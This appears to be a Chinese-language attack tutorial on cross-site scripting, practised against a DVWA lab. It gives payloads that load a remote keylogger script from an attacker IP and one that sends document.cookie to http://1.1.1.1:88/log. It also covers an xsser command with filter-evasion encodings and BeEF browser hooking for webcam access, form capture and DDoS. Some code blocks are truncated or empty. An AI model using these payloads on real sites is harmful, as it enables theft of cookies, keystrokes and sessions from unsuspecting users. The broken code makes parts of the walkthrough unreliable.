XSS(cross-site scripting)
通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的
注入客户端脚本代码,盗取cookie、重定向
使用场景
1 | 直接嵌入html:<script> alert('xss);</script> |
漏洞形成的根源:
- 服务器对用户提交数据过滤不严
- 提交给服务器的脚本被直接返回给其他客户端执行
- 脚本在客户端执行恶意操作
XSS漏洞类型:
- 存储型(持久型)
- 反射型(非持久)
- DOM 型
怎么知道网站是否有漏洞:
提交的数据原封不动的返回

反射型漏洞注入:
1 | <script>alert('xss');</script> |
反射型漏洞例子:键盘记录器
原理:在被攻击者的电脑浏览器上调用指定ip地址上的js文件,即利用XSS输入以下脚本<script src="http://1.1.1.1/keylogger.js"></script>
在/var/www/html/
目录下新建keylogger.js
keylogger.js
1 | document.onkeypress = function(evt) { |
由于我们是由keylogger.php
文件接收键盘记录的,所以还需要一个php脚本
keylogger.php
1 |
|
然后新建一个keylog.txt
,用来记录被攻击者的键盘记录,改写它的权限chmod 777 keylog.txt
然后执行service apache2 start
开启apache,可以用netstat -pantu | grep :80
查看被占用的进程然后杀掉
确保能够访问到刚才写的js脚本
最后就可以在有XSS漏洞的地方输入<script src="http://1.1.1.1/keylogger.js"></script>
注入脚本
提交之后,可以看到url地址已经变了,而且被攻击者也有提示输入成功,这个时候我们就可以敲键盘,没有焦点也可以记录键盘,这里为了显示方便,我们在输入框输入hello hacker
Xsser–自动化工具
- 图形化/命令行界面(图形化只需要在命令行输入
xsser --gtk
) - 绕过服务器端输入筛选
10进制/16进制
unescape() - xsser -u “http://172.16.242.128/dvwa/vulnerabilities/" -g “xss_r/?name=” –cookie=”security=low; PHPSESSID=1f7c245b5c6145fbeb0f36d5e601ef2f” -s -v –reverse-check
参数
1 | -g(Get方法) -p (Post方法) |
对payload编码,绕过服务器端筛选过滤
1 | --Str Use method String.FromCharCode() |
注入技术
1 | --Coo COO - Cross Site Scripting Cookie injection |
其他可以用的参数
1 | --Fp=FINALPAYLOAD OWN - Exploit your own code |
存储型XSS
- 长期存储于服务器端
- 每次用户访问都会被执行js脚本
漏洞常见于有留言板之类功能的网站,因为评论或留言之后我们可以看到自己刚才输入的东西。这样,只要一次注入,其他人打开这个网站的时候,就会加载这个脚本,就可以盗取cookie或者记录键盘
有一些评论会限制字数,不能注入完整的脚本,但是我们可以用burpsuite
截断代理,截断请求,然后在请求里面注入脚本,关于怎么使用burpsuite
我在之前有发过一篇工具介绍,可以参考那篇文章
对于XSS,需要对变量输入和变量输出做数据清洗(符号编码,去除一些字符),才能完全补上这个漏洞
DOM型XSS
DOM :一套js和其他语言可以调用的API
1 | <script>var img=document.createElement("img");img.src="http://1.1.1.1:88/log?"+escape(document.cookie);</script> |
BEEF攻击框架
- 生成、交付payload
- ruby语言编写
- 服务器端:管理hooked客户端
- 客户端:运行于客户端浏览器的 js 脚本(hook)
浏览器攻击面: - 应用普遍转移到B/S架构,浏览器成为统一客户端程序
- 结合社会工程学方法对浏览器进行攻击
- 攻击浏览器用户
- 通过注入的JS脚本,利用浏览器攻击其他网站
攻击手段: - 利用网站xss漏洞实现攻击,能利用存储型xss漏洞更好
- 诱使客户端访问含有hook的伪造站点
- 结合中间人攻击注入hook脚本
常见用途: - 键盘记录器
- 网络扫描
- 浏览器信息收集
- 绑定shell
- 与metasploit 集成
使用方式:
在kali2.0的左侧就有集成好的Beef,点击之后在终端可以看到提示,在浏览器中输入url就能进入到web管理页面,默认帐号和密码都是beef
在有xss漏洞的地方注入终端提示的代码,注意,要把ip地址改为beef启动的机器的ip地址

之后就能在 beef管理页面看到被hooked的网站
hooked客户端做的一切操作都会记录在log
标签
commands标签:
- 绿色:表示模块适合目标浏览器,并且执行结果不被客户端可见
- 红色:表示模块不适用于当前用户,有些红色模块也可以正常执行
- 橙色:模块可用,但结果对用户可见(CAM弹窗申请权限等)
- 灰色:模块未在目标浏览器上测试过
这个标签包含很多模块,可以对hooked客户端进行各种攻击,包括打开摄像头,记录表单,甚至可以利用hooked的浏览器进行DDOS攻击,就是所谓的僵尸机,有很强的隐蔽性
v1.5.2